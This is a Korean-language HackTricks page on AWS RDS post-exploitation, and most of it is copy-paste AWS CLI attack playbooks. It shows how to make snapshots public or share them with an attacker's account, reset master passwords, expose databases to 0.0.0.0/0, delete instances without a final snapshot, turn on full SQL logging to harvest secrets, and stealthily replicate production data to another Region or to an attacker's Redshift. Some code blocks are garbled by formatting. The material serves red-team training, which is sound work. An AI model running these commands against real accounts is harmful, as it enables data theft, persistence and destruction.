AWS - RDS Post Exploitation

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

RDS

자세한 내용은 다음을 확인하세요:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

공격자가 충분한 권한을 가지고 있다면, DB의 snapshot을 생성한 다음 그 snapshot에서 공개적으로 접근 가능한 DB를 생성하여 DB를 공개 접근 가능하게 만들 수 있습니다.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

rds:StopDBCluster 또는 rds:StopDBInstance 권한을 가진 공격자는 RDS 인스턴스나 전체 클러스터를 즉시 중지시켜 데이터베이스 접근 불가, 연결 끊김 및 데이터베이스에 의존하는 프로세스 중단을 초래할 수 있습니다.

단일 DB 인스턴스를 중지하는 예:

aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

DB 클러스터 전체를 중지하려면 (예):

aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Modify*

rds:Modify* 권한을 부여받은 공격자는 인스턴스나 클러스터를 직접 건드리지 않고도 중요한 구성과 보조 리소스 (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.)를 변경할 수 있다. 연결/타임아웃 파라미터 조정, proxy endpoint 변경, 어떤 certificates를 신뢰할지 수정, 논리적 용량 변경, subnet group 재구성과 같은 변경은 보안을 약화시켜(새로운 접근 경로를 열고), 라우팅 및 로드 밸런싱을 파괴하며, 복제/백업 정책을 무효화하고 전반적으로 가용성이나 복구성을 저하시킬 수 있다. 이러한 변경은 또한 간접적인 데이터 exfiltration을 용이하게 하거나 사고 후 데이터베이스의 정상적인 복구를 방해할 수 있다.

RDS subnet group에 할당된 subnets을 이동하거나 변경:

aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>

클러스터 파라미터 그룹에서 저수준 엔진 매개변수를 변경합니다:

aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"

rds:Restore*

rds:Restore* 권한이 있는 공격자는 스냅샷, 자동 백업, point-in-time recovery (PITR) 또는 S3에 저장된 파일로부터 전체 데이터베이스를 복원하여 선택한 시점의 데이터로 채워진 새로운 인스턴스나 클러스터를 생성할 수 있습니다. 이러한 작업은 원본 리소스를 덮어쓰지 않고 — 역사적 데이터를 포함한 새로운 객체를 생성하므로 — 공격자는 데이터베이스의 완전하고 동작하는 복사본(과거 시점에서의 또는 외부 S3 파일로부터의)을 얻어 exfiltrate data, 기록을 조작하거나 이전 상태를 재구성하는 데 사용할 수 있습니다.

DB 인스턴스를 특정 시점으로 복원:

aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az

rds:Delete*

rds:Delete* 권한이 부여된 공격자는 RDS 리소스를 제거할 수 있으며, DB 인스턴스, 클러스터, 스냅샷, 자동 백업, 서브넷 그룹, 파라미터/옵션 그룹 및 관련 아티팩트를 삭제하여 즉각적인 서비스 중단, 데이터 손실, 복구 지점의 파괴 및 포렌식 증거 손실을 초래할 수 있습니다.

# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

이 권한을 가진 공격자는 DB의 snapshot을 생성하고 이를 공개적으로 이용 가능하게 만들 수 있습니다. 그런 다음 자신의 계정에서 해당 snapshot으로부터 DB를 생성할 수 있습니다.

공격자가 rds:CreateDBSnapshot 권한이 없다면, 여전히 생성된 다른 snapshot들을 공개할 수 있습니다.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion 권한을 가진 공격자는 RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다. 민감한 데이터나 접근 자격 증명이 실수로 로그에 남겨진 경우, 공격자는 이 정보를 이용해 권한을 상승시키거나 무단 작업을 수행할 수 있습니다.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

잠재적 영향: leaked credentials를 사용하여 민감한 정보에 접근하거나 무단으로 조치를 취할 수 있습니다.

rds:DeleteDBInstance

이 권한을 가진 공격자는 DoS existing RDS instances를 수행할 수 있습니다.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

잠재적 영향: 기존 RDS 인스턴스 삭제 및 데이터 손실 가능성.

rds:StartExportTask

Note

TODO: Test

이 권한을 가진 공격자는 RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다. 공격자가 대상 S3 버킷을 제어할 수 있는 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 가능성이 있습니다.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potential impact: 내보낸 스냅샷에서 민감한 데이터에 접근할 수 있음.

Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)

크로스-리전 자동 백업 복제를 악용하여 RDS 인스턴스의 자동 백업을 다른 AWS Region으로 조용히 복제하고 그곳에서 복원할 수 있습니다. 공격자는 복원된 DB를 공개적으로 노출시키고 마스터 비밀번호를 재설정해, 방어자가 모니터링하지 않는 Region에서 데이터를 빼낼 수 있습니다.

Permissions needed (minimum):

  • rds:StartDBInstanceAutomatedBackupsReplication (대상 Region에서)
  • rds:DescribeDBInstanceAutomatedBackups (대상 Region에서)
  • rds:RestoreDBInstanceToPointInTime (대상 Region에서)
  • rds:ModifyDBInstance (대상 Region에서)
  • rds:StopDBInstanceAutomatedBackupsReplication (선택적 정리)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (복원된 DB를 노출하기 위해)

Impact: 프로덕션 데이터의 복사본을 다른 Region에 복원하고 공격자가 제어하는 자격증명으로 공개 노출하여 지속성 확보 및 데이터 유출을 가능하게 함.

엔드투엔드 CLI (플레이스홀더 교체) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### Enable full SQL logging via DB parameter groups and exfiltrate via RDS log APIs

`rds:ModifyDBParameterGroup`를 악용하여 RDS 로그 다운로드 API로 애플리케이션에서 실행되는 모든 SQL 문을 캡처할 수 있습니다(데이터베이스 엔진 자격 증명 불필요). 엔진의 SQL 로깅을 활성화한 뒤 `rds:DescribeDBLogFiles` 및 `rds:DownloadDBLogFilePortion`(또는 REST `downloadCompleteLogFile`)로 로그 파일을 가져옵니다. 비밀/PII/JWTs를 포함할 수 있는 쿼리를 수집하는 데 유용합니다.

Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (인스턴스가 기본 파라미터 그룹을 사용 중인 경우 커스텀 parameter group을 연결하기 위해서만)
- `rds:RebootDBInstance` (재부팅이 필요한 파라미터의 경우, 예: PostgreSQL)

Steps
1) Recon 대상 및 현재 parameter group 확인
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. 사용자 지정 DB 파라미터 그룹이 연결되어 있는지 확인하세요(기본 그룹은 편집할 수 없음)
  • 인스턴스가 이미 사용자 지정 그룹을 사용 중이면 다음 단계에서 해당 이름을 재사용하세요.
  • 그렇지 않으면 엔진 패밀리에 맞는 그룹을 생성하고 연결하세요:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. 자세한 SQL 로깅 활성화
  • MySQL 엔진 (즉시 / 재부팅 불필요):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • PostgreSQL 엔진 (재부팅 필요):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. 워크로드를 실행(또는 쿼리를 생성)합니다. 명령문은 엔진 파일 로그에 기록됩니다
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. 로그를 찾아 다운로드합니다(데이터베이스 자격 증명 불필요)
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. 오프라인에서 민감한 데이터 분석
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

예시 증거(편집됨):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

정리

  • 파라미터를 기본값으로 되돌리고 필요하면 재부팅하세요:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

영향: Post-exploitation 데이터 접근 — AWS APIs를 통해 모든 애플리케이션 SQL 문장을 캡처하여 (DB 자격증명 없음), potentially leaking secrets, JWTs, and PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

RDS read replicas를 악용하여 primary instance 자격증명을 건드리지 않고 out-of-band read access를 얻을 수 있습니다. 공격자는 production 인스턴스에서 read replica를 생성하고, replica의 master password를 재설정할 수 있습니다(이는 primary를 변경하지 않음). 또한 선택적으로 replica를 공개적으로 노출하여 exfiltrate data할 수 있습니다.

필요한 권한(최소):

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (if exposing publicly)

영향: 공격자가 제어하는 자격증명을 가진 replica를 통해 production 데이터에 대한 읽기 전용 접근; primary가 건드려지지 않고 replication이 계속되므로 탐지 가능성이 낮습니다.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Example evidence (MySQL):

  • 복제 DB 상태: available, 읽기 복제: replicating
  • 새 비밀번호로의 성공적인 연결 및 @@read_only=1 로 읽기 전용 복제본 접근이 확인됨.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

RDS Blue/Green를 악용하여 운영 DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론합니다. 그런 다음 green 마스터 자격 증명을 재설정하여 blue (prod) 인스턴스를 건드리지 않고 데이터를 접근합니다. 이는 스냅샷 공유보다 은밀하며 종종 소스만을 모니터링하는 감시를 우회합니다.

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

영향: 읽기 전용이지만 프로덕션 인스턴스를 수정하지 않고 거의 실시간에 가까운 프로덕션 복제본의 전체 데이터에 접근 가능. 은밀한 데이터 추출과 오프라인 분석에 유용함.

Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password

Aurora를 악용하여 대상 클러스터에서 RDS Data API HTTP endpoint를 활성화하고, master password를 본인이 제어하는 값으로 재설정한 다음 HTTPS를 통해 SQL을 실행합니다(직접적인 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 작동합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전).

Permissions (minimum):

  • rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

영향: 네트워크 segmentation을 우회하고 DB에 대한 직접적인 VPC 연결 없이 AWS APIs를 통해 데이터를 exfiltrate할 수 있음.

End-to-end CLI (Aurora MySQL example) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint –region $REGION –resource-arn “$CLUSTER_ARN”

or

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–enable-http-endpoint –apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].HttpEndpointEnabled’ –output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–master-user-password ‘Sup3rStr0ng!1’ –apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].PendingModifiedValues.MasterUserPassword’ –output text) [[ “$P” == “None” || “$P” == “null” ]] && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret –region $REGION –name rdsdata/demo-$CLUSTER_ID
–secret-string ‘{“username”:“admin”,“password”:“Sup3rStr0ng!1”}’
–query ARN –output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database mysql –sql “create database if not exists demo;” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “create table if not exists pii(note text);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “insert into pii(note) values (‘token=SECRET_JWT’);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “select current_user(), now(), (select count(*) from pii) as row_count;”
–format-records-as JSON

</details>

참고:
- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.


### RDS Proxy 인증 비밀을 통해 DB 자격 증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

RDS Proxy 구성을 악용하여 백엔드 인증에 사용되는 Secrets Manager의 secret을 찾아낸 다음, 그 secret을 읽어 데이터베이스 자격 증명을 얻습니다. 많은 환경에서 광범위한 `secretsmanager:GetSecretValue` 권한을 부여하고 있어, DB creds로의 진입이 용이합니다. 만약 secret이 CMK를 사용한다면, 잘못 범위 지정된 KMS 권한이 `kms:Decrypt`도 허용할 수 있습니다.

필요 권한(최소):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key

Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.

단계
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

실습 (재현을 위한 최소 환경)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

정리 (lab)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

은밀한 지속적 exfiltration — Aurora zero‑ETL을 통해 Amazon Redshift로 (rds:CreateIntegration)

Aurora PostgreSQL zero‑ETL integration을 악용하여 운영 데이터를 공격자가 제어하는 Redshift Serverless 네임스페이스로 지속적으로 복제합니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration를 허용하는 관대한 Redshift resource policy가 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간으로 데이터 복사본을 만들 수 있습니다.

필요 권한(최소):

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (쿼리용)
  • rds-data:ExecuteStatement (선택 사항; 필요 시 데이터 시드용)

테스트 환경: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Redshift Serverless namespace + workgroup 생성 ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Redshift 리소스 정책을 구성하여 Aurora 소스를 허용 ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) Aurora PostgreSQL 클러스터 생성 (Data API 및 logical replication 활성화) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
